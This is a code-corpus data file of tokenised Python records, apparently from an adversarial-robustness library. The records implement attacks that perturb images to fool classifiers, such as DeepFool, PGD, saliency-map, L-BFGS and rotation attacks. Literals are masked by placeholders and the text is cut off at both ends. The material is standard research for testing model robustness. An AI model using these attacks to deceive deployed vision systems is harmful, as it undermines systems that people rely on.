int\n            The reference label of the original image. Must be passed\n            if image is a numpy array, must not be passed if image is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial image, otherwise returns\n            the Adversarial object.\n        max_pixels : int\n            Maximum number of pixels to try.", "id": "f8095:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>r=<NUM_LIT>, p=<NUM_LIT>, d=<NUM_LIT:5>, t=<NUM_LIT:5>, R=<NUM_LIT>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>assert <NUM_LIT:0> <= r <= <NUM_LIT:2><EOL>if a.target_class() is not None:<EOL><INDENT>return<EOL><DEDENT>def normalize(im):<EOL><INDENT>min_, max_ = a.bounds()<EOL>im = im - (min_ + max_) / <NUM_LIT:2><EOL>im = im / (max_ - min_)<EOL>LB = -<NUM_LIT:1> / <NUM_LIT:2><EOL>UB = <NUM_LIT:1> / <NUM_LIT:2><EOL>return im, LB, UB<EOL><DEDENT>def unnormalize(im):<EOL><INDENT>min_, max_ = a.bounds()<EOL>im = im * (max_ - min_)<EOL>im = im + (min_ + max_) / <NUM_LIT:2><EOL>return im<EOL><DEDENT>Im = a.original_image<EOL>Im, LB, UB = normalize(Im)<EOL>cI = a.original_class<EOL>channel_axis = a.channel_axis(batch=False)<EOL>axes = [i for i in range(Im.ndim) if i != channel_axis]<EOL>assert len(axes) == <NUM_LIT:2><EOL>h = Im.shape[axes[<NUM_LIT:0>]]<EOL>w = Im.shape[axes[<NUM_LIT:1>]]<EOL>channels = Im.shape[channel_axis]<EOL>def random_locations():<EOL><INDENT>n = int(<NUM_LIT:0.1> * h * w)<EOL>n = min(n, <NUM_LIT>)<EOL>locations = nprng.permutation(h * w)[:n]<EOL>p_x = locations % w<EOL>p_y = locations // w<EOL>pxy = list(zip(p_x, p_y))<EOL>pxy = np.array(pxy)<EOL>return pxy<EOL><DEDENT>def pert(Ii, p, x, y):<EOL><INDENT>Im = Ii.copy()<EOL>location = [x, y]<EOL>location.insert(channel_axis, slice(None))<EOL>location = tuple(location)<EOL>Im[location] = p * np.sign(Im[location])<EOL>return Im<EOL><DEDENT>def cyclic(r, Ibxy):<EOL><INDENT>result = r * Ibxy<EOL>if result < LB:<EOL><INDENT>result = result + (UB - LB)<EOL><DEDENT>elif result > UB:<EOL><INDENT>result = result - (UB - LB)<EOL><DEDENT>assert LB <= result <= UB<EOL>return result<EOL><DEDENT>Ii = Im<EOL>PxPy = random_locations()<EOL>for _ in range(R):<EOL><INDENT>PxPy = PxPy[nprng.permutation(len(PxPy))[:<NUM_LIT>]]<EOL>L = [pert(Ii, p, x, y) for x, y in PxPy]<EOL>def score(Its):<EOL><INDENT>Its = np.stack(Its)<EOL>Its = unnormalize(Its)<EOL>batch_logits, _ = a.batch_predictions(Its, strict=False)<EOL>scores = [softmax(logits)[cI] for logits in batch_logits]<EOL>return scores<EOL><DEDENT>scores = score(L)<EOL>indices = np.argsort(scores)[:t]<EOL>PxPy_star = PxPy[indices]<EOL>for x, y in PxPy_star:<EOL><INDENT>for b in range(channels):<EOL><INDENT>location = [x, y]<EOL>location.insert(channel_axis, b)<EOL>location = tuple(location)<EOL>Ii[location] = cyclic(r, Ii[location])<EOL><DEDENT><DEDENT>_, is_adv = a.predictions(unnormalize(Ii))<EOL>if is_adv:  <EOL><INDENT>return<EOL><DEDENT>PxPy = [<EOL>(x, y)<EOL>for _a, _b in PxPy_star<EOL>for x in range(_a - d, _a + d + <NUM_LIT:1>)<EOL>for y in range(_b - d, _b + d + <NUM_LIT:1>)]<EOL>PxPy = [(x, y) for x, y in PxPy if <NUM_LIT:0> <= x < w and <NUM_LIT:0> <= y < h]<EOL>PxPy = list(set(PxPy))<EOL>PxPy = np.array(PxPy)<EOL><DEDENT>", "docstring": "A black-box attack based on the idea of greedy local search.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, correctly classified image. If image is a\n            numpy array, label must be passed as well. If image is\n            an :class:`Adversarial` instance, label must not be passed.\n        label : int\n            The reference label of the original image. Must be passed\n            if image is a numpy array, must not be passed if image is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial image, otherwise returns\n            the Adversarial object.\n        r : float\n            Perturbation parameter that controls the cyclic perturbation;\n            must be in [0, 2]\n        p : float\n            Perturbation parameter that controls the pixel sensitivity\n            estimation\n        d : int\n            The half side length of the neighborhood square\n        t : int\n            The number of pixels perturbed at each round\n        R : int\n            An upper bound on the number of iterations", "id": "f8095:c1:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>steps=<NUM_LIT:100>, subsample=<NUM_LIT:10>, p=None):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>if not a.has_gradient():<EOL><INDENT>return<EOL><DEDENT>if a.target_class() is not None:<EOL><INDENT>logging.fatal('<STR_LIT>')<EOL>return<EOL><DEDENT>if p is None:<EOL><INDENT>if a._distance == MeanSquaredDistance:<EOL><INDENT>p = <NUM_LIT:2><EOL><DEDENT>elif a._distance == Linfinity:<EOL><INDENT>p = np.inf<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if not (<NUM_LIT:1> <= p <= np.inf):<EOL><INDENT>raise ValueError<EOL><DEDENT>if p not in [<NUM_LIT:2>, np.inf]:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>_label = a.original_class<EOL>logits, _ = a.predictions(a.original_image)<EOL>labels = np.argsort(logits)[::-<NUM_LIT:1>]<EOL>if subsample:<EOL><INDENT>logging.info('<STR_LIT>'.format(subsample))<EOL>assert isinstance(subsample, int)<EOL>labels = labels[:subsample]<EOL><DEDENT>def get_residual_labels(logits):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return [<EOL>k for k in labels<EOL>if logits[k] < logits[_label]]<EOL><DEDENT>perturbed = a.original_image<EOL>min_, max_ = a.bounds()<EOL>for step in range(steps):<EOL><INDENT>logits, grad, is_adv = a.predictions_and_gradient(perturbed)<EOL>if is_adv:<EOL><INDENT>return<EOL><DEDENT>loss = -crossentropy(logits=logits, label=_label)<EOL>residual_labels = get_residual_labels(logits)<EOL>losses = [<EOL>-crossentropy(logits=logits, label=k)<EOL>for k in residual_labels]<EOL>grads = [a.gradient(perturbed, label=k) for k in residual_labels]<EOL>diffs = [(l - loss, g - grad) for l, g in zip(losses, grads)]<EOL>if p == <NUM_LIT:2>:<EOL><INDENT>distances = [abs(dl) / (np.linalg.norm(dg) + <NUM_LIT>)<EOL>for dl, dg in diffs]<EOL><DEDENT>elif p == np.inf:<EOL><INDENT>distances = [abs(dl) / (np.sum(np.abs(dg)) + <NUM_LIT>)<EOL>for dl, dg in diffs]<EOL><DEDENT>else:  <EOL><INDENT>assert False<EOL><DEDENT>optimal = np.argmin(distances)<EOL>df, dg = diffs[optimal]<EOL>if p == <NUM_LIT:2>:<EOL><INDENT>perturbation = abs(df) / (np.linalg.norm(dg) + <NUM_LIT>)**<NUM_LIT:2> * (-dg)<EOL><DEDENT>elif p == np.inf:<EOL><INDENT>perturbation = abs(df) / (np.sum(np.abs(dg)) + <NUM_LIT>)* np.sign(-dg)<EOL><DEDENT>else:  <EOL><INDENT>assert False<EOL><DEDENT>perturbed = perturbed + <NUM_LIT> * perturbation<EOL>perturbed = np.clip(perturbed, min_, max_)<EOL><DEDENT>a.predictions(perturbed)<EOL>", "docstring": "Simple and close to optimal gradient-based\n        adversarial attack.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        steps : int\n            Maximum number of steps to perform.\n        subsample : int\n            Limit on the number of the most likely classes that should\n            be considered. A small value is usually sufficient and much\n            faster.\n        p : int or float\n            Lp-norm that should be minimzed, must be 2 or np.inf.", "id": "f8096:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilons=<NUM_LIT:1000>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>image = a.original_image<EOL>min_, max_ = a.bounds()<EOL>target = (max_ + min_) / <NUM_LIT:2><EOL>if not isinstance(epsilons, Iterable):<EOL><INDENT>epsilons = np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, num=epsilons + <NUM_LIT:1>)[<NUM_LIT:1>:]<EOL><DEDENT>for epsilon in epsilons:<EOL><INDENT>perturbed = (<NUM_LIT:1> - epsilon) * image + epsilon * target<EOL>_, is_adversarial = a.predictions(perturbed)<EOL>if is_adversarial:<EOL><INDENT>return<EOL><DEDENT><DEDENT>", "docstring": "Reduces the contrast of the image until it is misclassified.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int or Iterable[float]\n            Either Iterable of contrast levels or number of contrast\n            levels between 1 and 0 that should be tried. Epsilons are\n            one minus the contrast level.", "id": "f8097:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilons=<NUM_LIT:100>, max_epsilon=<NUM_LIT:1>, steps=<NUM_LIT:10>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>self._run(a, epsilons=epsilons, max_epsilon=max_epsilon, steps=steps)<EOL>", "docstring": "Like GradientAttack but with several steps for each epsilon.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int or Iterable[float]\n            Either Iterable of step sizes in the gradient direction\n            or number of step sizes between 0 and max_epsilon that should\n            be tried.\n        max_epsilon : float\n            Largest step size if epsilons is not an iterable.\n        steps : int\n            Number of iterations to run.", "id": "f8098:c1:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilons=<NUM_LIT:100>, max_epsilon=<NUM_LIT:1>, steps=<NUM_LIT:10>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>self._run(a, epsilons=epsilons, max_epsilon=max_epsilon, steps=steps)<EOL>", "docstring": "Like GradientSignAttack but with several steps for each epsilon.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int or Iterable[float]\n            Either Iterable of step sizes in the direction of the sign of\n            the gradient or number of step sizes between 0 and max_epsilon\n            that should be tried.\n        max_epsilon : float\n            Largest step size if epsilons is not an iterable.\n        steps : int\n            Number of iterations to run.", "id": "f8098:c2:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>max_iter=<NUM_LIT>,<EOL>num_random_targets=<NUM_LIT:0>,<EOL>fast=True,<EOL>theta=<NUM_LIT:0.1>,<EOL>max_perturbations_per_pixel=<NUM_LIT:7>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>original_class = a.original_class<EOL>target_class = a.target_class()<EOL>if target_class is None:<EOL><INDENT>if num_random_targets == <NUM_LIT:0>:<EOL><INDENT>gradient_attack = GradientAttack()<EOL>gradient_attack(a)<EOL>adv_img = a.image<EOL>if adv_img is None:  <EOL><INDENT>num_random_targets = <NUM_LIT:1><EOL>logging.info('<STR_LIT>')  <EOL><DEDENT>else:<EOL><INDENT>logits, _ = a.predictions(adv_img)<EOL>target_class = np.argmax(logits)<EOL>target_classes = [target_class]<EOL>logging.info('<STR_LIT>'.format(target_class))  <EOL><DEDENT><DEDENT>else:  <EOL><INDENT>num_random_targets = <NUM_LIT:1><EOL><DEDENT>if num_random_targets > <NUM_LIT:0>:<EOL><INDENT>num_classes = a.num_classes()<EOL>assert num_random_targets <= num_classes - <NUM_LIT:1><EOL>target_classes = rng.sample(<EOL>range(num_classes), num_random_targets + <NUM_LIT:1>)<EOL>target_classes = [t for t in target_classes if t != original_class]  <EOL>target_classes = target_classes[:num_random_targets]<EOL>str_target_classes = [str(t) for t in target_classes]<EOL>logging.info('<STR_LIT>'.format('<STR_LIT:U+002CU+0020>'.join(str_target_classes)))  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>target_classes = [target_class]<EOL><DEDENT>a._reset()<EOL>for target in target_classes:<EOL><INDENT>image = a.original_image<EOL>mask = np.ones_like(image)<EOL>counts = np.zeros_like(image)<EOL>labels = range(a.num_classes())<EOL>perturbed = image.copy()<EOL>min_, max_ = a.bounds()<EOL>for step in range(max_iter):<EOL><INDENT>_, is_adversarial = a.predictions(perturbed)<EOL>if is_adversarial:<EOL><INDENT>return<EOL><DEDENT>idx, p_sign = self._saliency_map(<EOL>a, perturbed, target, labels, mask, fast=fast)<EOL>perturbed[idx] += -p_sign * theta * (max_ - min_)<EOL>counts[idx] += <NUM_LIT:1><EOL>if perturbed[idx] <= min_ or perturbed[idx] >= max_:<EOL><INDENT>mask[idx] = <NUM_LIT:0><EOL><DEDENT>if counts[idx] >= max_perturbations_per_pixel:<EOL><INDENT>mask[idx] = <NUM_LIT:0><EOL><DEDENT>perturbed = np.clip(perturbed, min_, max_)<EOL><DEDENT><DEDENT>", "docstring": "Implements the Saliency Map Attack.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        max_iter : int\n            The maximum number of iterations to run.\n        num_random_targets : int\n            Number of random target classes if no target class is given\n            by the criterion.\n        fast : bool\n            Whether to use the fast saliency map calculation.\n        theta : float\n            perturbation per pixel relative to [min, max] range.\n        max_perturbations_per_pixel : int\n            Maximum number of times a pixel can be modified.", "id": "f8099:c0:m0"}
{"signature": "def _saliency_map(self, a, image, target, labels, mask, fast=False):", "body": "<EOL>alphas = a.gradient(image, target) * mask<EOL>if fast:<EOL><INDENT>betas = -np.ones_like(alphas)<EOL><DEDENT>else:<EOL><INDENT>betas = np.sum([<EOL>a.gradient(image, label) * mask - alphas<EOL>for label in labels], <NUM_LIT:0>)<EOL><DEDENT>salmap = np.abs(alphas) * np.abs(betas) * np.sign(alphas * betas)<EOL>idx = np.argmin(salmap)<EOL>idx = np.unravel_index(idx, mask.shape)<EOL>pix_sign = np.sign(alphas)[idx]<EOL>return idx, pix_sign<EOL>", "docstring": "Implements Algorithm 3 in manuscript", "id": "f8099:c0:m1"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>do_rotations=True, do_translations=True,<EOL>x_shift_limits=(-<NUM_LIT:5>, <NUM_LIT:5>), y_shift_limits=(-<NUM_LIT:5>, <NUM_LIT:5>),<EOL>angular_limits=(-<NUM_LIT:5>, <NUM_LIT:5>), granularity=<NUM_LIT:10>,<EOL>random_sampling=False, abort_early=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>min_, max_ = a.bounds()<EOL>channel_axis = a.channel_axis(batch=False)<EOL>def get_samples(limits, num, do_flag):<EOL><INDENT>lb, up = (-limits, limits) if isinstance(limits, int) else limits<EOL>if not do_flag:<EOL><INDENT>return [<NUM_LIT:0>]<EOL><DEDENT>elif random_sampling:<EOL><INDENT>return nprng.uniform(lb, up, num)<EOL><DEDENT>else:<EOL><INDENT>return np.linspace(lb, up, num)<EOL><DEDENT><DEDENT>def crop_center(img):<EOL><INDENT>start = tuple(map(lambda a, da: (a - da) // <NUM_LIT:2>, img.shape,<EOL>a.original_image.shape))<EOL>end = tuple(map(operator.add, start, a.original_image.shape))<EOL>slices = tuple(map(slice, start, end))<EOL>return img[slices]<EOL><DEDENT>x_shifts = get_samples(x_shift_limits, granularity, do_translations)<EOL>y_shifts = get_samples(y_shift_limits, granularity, do_translations)<EOL>rotations = get_samples(angular_limits, granularity, do_rotations)<EOL>transformations = product(x_shifts, y_shifts, rotations)<EOL>for x_shift, y_shift, angle in transformations:<EOL><INDENT>if channel_axis == <NUM_LIT:0>:<EOL><INDENT>xy_shift = (<NUM_LIT:0>, x_shift, y_shift)<EOL>axes = (<NUM_LIT:1>, <NUM_LIT:2>)<EOL><DEDENT>elif channel_axis == <NUM_LIT:2>:<EOL><INDENT>xy_shift = (x_shift, y_shift, <NUM_LIT:0>)<EOL>axes = (<NUM_LIT:0>, <NUM_LIT:1>)<EOL><DEDENT>else:  <EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>x = a.original_image<EOL>x = rotate(x, angle=angle, axes=axes, reshape=True, order=<NUM_LIT:1>)<EOL>x = shift(x, shift=xy_shift, mode='<STR_LIT>')<EOL>x = crop_center(x)<EOL>x = np.clip(x, min_, max_)<EOL>_, is_adv = a.predictions(x)<EOL>if abort_early and is_adv:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Adversarially chosen rotations and translations.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        do_rotations : bool\n            If False no rotations will be applied to the image.\n        do_translations : bool\n            If False no translations will be applied to the image.\n        x_shift_limits : int or (int, int)\n            Limits for horizontal translations in pixels. If one integer is\n            provided the limits will be (-x_shift_limits, x_shift_limits).\n        y_shift_limits : int or (int, int)\n            Limits for vertical translations in pixels. If one integer is\n            provided the limits will be (-y_shift_limits, y_shift_limits).\n        angular_limits : int or (int, int)\n            Limits for rotations in degrees. If one integer is\n            provided the limits will be [-angular_limits, angular_limits].\n        granularity : int\n            Density of sampling within limits for each dimension.\n        random_sampling : bool\n            If True we sample translations/rotations randomly within limits,\n            otherwise we use a regular grid.\n        abort_early : bool\n            If True, the attack stops as soon as it finds an adversarial.", "id": "f8101:c0:m0"}
{"signature": "def _get_output(self, a, image):", "body": "sd = np.square(self._input_images - image)<EOL>mses = np.mean(sd, axis=tuple(range(<NUM_LIT:1>, sd.ndim)))<EOL>index = np.argmin(mses)<EOL>if mses[index] > <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return self._output_images[index]<EOL>", "docstring": "Looks up the precomputed adversarial image for a given image.", "id": "f8102:c0:m1"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>image = a.original_image<EOL>adversarial = self._get_output(a, image)<EOL>a.predictions(adversarial)<EOL>", "docstring": "Attacks a model using precomputed adversarial candidates.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.", "id": "f8102:c0:m2"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilon=<NUM_LIT>,<EOL>num_random_targets=<NUM_LIT:0>,<EOL>maxiter=<NUM_LIT>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>if not self._approximate_gradient and not a.has_gradient():<EOL><INDENT>return<EOL><DEDENT>original_class = a.original_class<EOL>target_class = a.target_class()<EOL>if target_class is None:<EOL><INDENT>if num_random_targets == <NUM_LIT:0> and self._approximate_gradient:<EOL><INDENT>num_random_targets = <NUM_LIT:1><EOL><DEDENT>if num_random_targets == <NUM_LIT:0>:<EOL><INDENT>gradient_attack = GradientAttack()<EOL>gradient_attack(a)<EOL>adv_img = a.image<EOL>if adv_img is None:  <EOL><INDENT>num_random_targets = <NUM_LIT:1><EOL>logging.warning('<STR_LIT>')  <EOL><DEDENT>else:<EOL><INDENT>logits, _ = a.predictions(adv_img)<EOL>target_class = np.argmax(logits)<EOL>target_classes = [target_class]<EOL>logging.info('<STR_LIT>'.format(target_class))  <EOL><DEDENT><DEDENT>if num_random_targets > <NUM_LIT:0>:<EOL><INDENT>num_classes = a.num_classes()<EOL>assert num_random_targets <= num_classes - <NUM_LIT:1><EOL>target_classes = rng.sample(<EOL>range(num_classes), num_random_targets + <NUM_LIT:1>)<EOL>target_classes = [t for t in target_classes if t != original_class]  <EOL>target_classes = target_classes[:num_random_targets]<EOL>str_target_classes = [str(t) for t in target_classes]<EOL>logging.info('<STR_LIT>'.format('<STR_LIT:U+002CU+0020>'.join(str_target_classes)))  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>target_classes = [target_class]<EOL><DEDENT>a._reset()<EOL>for i, target_class in enumerate(target_classes):<EOL><INDENT>self._optimize(<EOL>a, target_class,<EOL>epsilon=epsilon, maxiter=maxiter)<EOL>if len(target_classes) > <NUM_LIT:1>:  <EOL><INDENT>logging.info('<STR_LIT>'.format(i + <NUM_LIT:1>, a.distance))<EOL><DEDENT><DEDENT>", "docstring": "Uses L-BFGS-B to minimize the distance between the image and the\n        adversarial as well as the cross-entropy between the predictions for\n        the adversarial and the the one-hot encoded target class.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilon : float\n            Epsilon of the binary search.\n        num_random_targets : int\n            Number of random target classes if no target class is given\n            by the criterion.\n        maxiter : int\n            Maximum number of iterations for L-BFGS-B.", "id": "f8103:c0:m2"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>binary_search=True,<EOL>epsilon=<NUM_LIT>,<EOL>stepsize=<NUM_LIT>,<EOL>iterations=<NUM_LIT:10>,<EOL>random_start=False,<EOL>return_early=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>assert epsilon > <NUM_LIT:0><EOL>self._run(a, binary_search,<EOL>epsilon, stepsize, iterations,<EOL>random_start, return_early)<EOL>", "docstring": "Simple iterative gradient-based attack known as\n        Basic Iterative Method, Projected Gradient Descent or FGSM^k.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        binary_search : bool or int\n            Whether to perform a binary search over epsilon and stepsize,\n            keeping their ratio constant and using their values to start\n            the search. If False, hyperparameters are not optimized.\n            Can also be an integer, specifying the number of binary\n            search steps (default 20).\n        epsilon : float\n            Limit on the perturbation size; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        stepsize : float\n            Step size for gradient descent; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        iterations : int\n            Number of iterations for each gradient descent run.\n        random_start : bool\n            Start the attack from a random point rather than from the\n            original input.\n        return_early : bool\n            Whether an individual gradient descent run should stop as\n            soon as an adversarial is found.", "id": "f8104:c10:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>binary_search=True,<EOL>epsilon=<NUM_LIT>,<EOL>stepsize=<NUM_LIT>,<EOL>iterations=<NUM_LIT:10>,<EOL>random_start=False,<EOL>return_early=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>assert epsilon > <NUM_LIT:0><EOL>self._run(a, binary_search,<EOL>epsilon, stepsize, iterations,<EOL>random_start, return_early)<EOL>", "docstring": "Simple iterative gradient-based attack known as\n        Basic Iterative Method, Projected Gradient Descent or FGSM^k.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        binary_search : bool or int\n            Whether to perform a binary search over epsilon and stepsize,\n            keeping their ratio constant and using their values to start\n            the search. If False, hyperparameters are not optimized.\n            Can also be an integer, specifying the number of binary\n            search steps (default 20).\n        epsilon : float\n            Limit on the perturbation size; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        stepsize : float\n            Step size for gradient descent; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        iterations : int\n            Number of iterations for each gradient descent run.\n        random_start : bool\n            Start the attack from a random point rather than from the\n            original input.\n        return_early : bool\n            Whether an individual gradient descent run should stop as\n            soon as an adversarial is found.", "id": "f8104:c11:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>binary_search=True,<EOL>epsilon=<NUM_LIT>,<EOL>stepsize=<NUM_LIT>,<EOL>iterations=<NUM_LIT:10>,<EOL>random_start=False,<EOL>return_early=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>assert epsilon > <NUM_LIT:0><EOL>self._run(a, binary_search,<EOL>epsilon, stepsize, iterations,<EOL>random_start, return_early)<EOL>", "docstring": "Simple iterative gradient-based attack known as\n        Basic Iterative Method, Projected Gradient Descent or FGSM^k.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        binary_search : bool or int\n            Whether to perform a binary search over epsilon and stepsize,\n            keeping their ratio constant and using their values to start\n            the search. If False, hyperparameters are not optimized.\n            Can also be an integer, specifying the number of binary\n            search steps (default 20).\n        epsilon : float\n            Limit on the perturbation size; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        stepsize : float\n            Step size for gradient descent; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        iterations : int\n            Number of iterations for each gradient descent run.\n        random_start : bool\n            Start the attack from a random point rather than from the\n            original input.\n        return_early : bool\n            Whether an individual gradient descent run should stop as\n            soon as an adversarial is found.", "id": "f8104:c12:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>binary_search=True,<EOL>epsilon=<NUM_LIT>,<EOL>stepsize=<NUM_LIT>,<EOL>iterations=<NUM_LIT>,<EOL>random_start=False,<EOL>return_early=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>assert epsilon > <NUM_LIT:0><EOL>self._run(a, binary_search,<EOL>epsilon, stepsize, iterations,<EOL>random_start, return_early)<EOL>", "docstring": "Simple iterative gradient-based attack known as\n        Basic Iterative Method, Projected Gradient Descent or FGSM^k.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        binary_search : bool or int\n            Whether to perform a binary search over epsilon and stepsize,\n            keeping their 